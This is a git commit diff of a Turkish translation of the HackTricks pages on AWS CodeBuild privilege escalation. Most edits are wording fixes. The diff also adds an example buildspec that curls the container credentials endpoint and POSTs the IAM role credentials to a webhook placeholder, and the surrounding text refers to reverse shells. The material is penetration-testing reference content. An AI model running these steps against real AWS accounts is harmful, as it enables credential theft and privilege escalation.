Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-08 20:44:48 +00:00
parent 5a7d83b019
commit f04513af79

View File

@@ -61,13 +61,13 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
**Not**: Bu iki komut arasındaki fark şudur:
- `StartBuild`, belirli bir `buildspec.yml` kullanarak tek bir build işini tetikler.
- `StartBuildBatch`, daha karmaşık yapılandırmalarla (birden fazla build'i paralel olarak çalıştırmak gibi) bir dizi build başlatmanıza olanak tanır.
- `StartBuildBatch`, daha karmaşık yapılandırmalarla (birden fazla build'in paralel olarak çalıştırılması gibi) bir dizi build başlatmanıza olanak tanır.
**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme.
**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme.
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
**`iam:PassRole`, `codebuild:CreateProject` ve `codebuild:StartBuild` veya `codebuild:StartBuildBatch`** izinlerine sahip bir saldırgan, çalışan bir tane oluşturarak **herhangi bir codebuild IAM rolüne yetki yükseltebilir**.
**`iam:PassRole`, `codebuild:CreateProject` ve `codebuild:StartBuild` veya `codebuild:StartBuildBatch`** izinlerine sahip bir saldırgan, çalışan bir build oluşturarak **herhangi bir codebuild IAM rolüne yetki yükseltebilir**.
{{#tabs }}
{{#tab name="Example1" }}
@@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project
```
{{#endtab }}
{{#tab name="Example3" }}
```bash
# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
{
"name": "user-project-1",
"source": {
"type": "NO_SOURCE",
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
"computeType": "BUILD_GENERAL1_SMALL"
},
"serviceRole": "ARN-OF-TARGET-ROLE"
}
# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json
# Start a build with the new project
aws codebuild start-build --project-name user-project-1
# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
```
{{#endtab }}
{{#endtabs }}
@@ -144,13 +178,13 @@ aws codebuild start-build --project-name reverse-shell-project
> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **ortam değişkeni `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır.
> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökebileceksiniz.
> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökme işlemini gerçekleştirebileceksiniz.
> Ayrıca, **konteyner hakkında metadata bilgisi almak için** tam URL'yi içeren **ortam değişkeni `ECS_CONTAINER_METADATA_URI`** de içerir.
> Ayrıca, **konteyner hakkında metadata bilgilerini almak için** tam URL'yi içeren **ortam değişkeni `ECS_CONTAINER_METADATA_URI`** de içerir.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Önceki bölümde olduğu gibi, bir yapı projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz.
Önceki bölümde olduğu gibi, bir build projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz.
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -264,13 +298,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }}
{{#endtabs }}
**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan privesc.
**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme.
### SSM
**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine girmek** mümkündür.
Codebuild projesinin bir kesme noktası olması gerekecek:
Codebuild projesinin bir kesme noktasına sahip olması gerekecek:
<pre class="language-yaml"><code class="lang-yaml">phases:
pre_build:
@@ -289,9 +323,9 @@ Daha fazla bilgi için [**belgelere göz atın**](https://docs.aws.amazon.com/co
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
Belirli bir CodeBuild projesinin bir yapısını başlatabilen/yeniden başlatabilen bir saldırgan, `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depoluyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
Belirli bir CodeBuild projesinin `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depolayan bir saldırgan, bu projeyi başlatıp/yeniden başlatabiliyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
Not: yükselme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
Not: Yükseltme, yalnızca CodeBuild işçisinin saldırgandan farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
@@ -308,7 +342,7 @@ aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
```
Bunu yapmak için **buildspec** gibi bir şey kullanabilirsiniz:
Bunu yapmak için **buildspec** gibi bir şey kullanabilirsiniz: **reverse shell**:
```yaml:buildspec.yml
version: 0.2
@@ -324,6 +358,6 @@ commands:
Daha fazla ayrıntı [burada](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) bulunabilir.
**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme.
**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme.
{{#include ../../../banners/hacktricks-training.md}}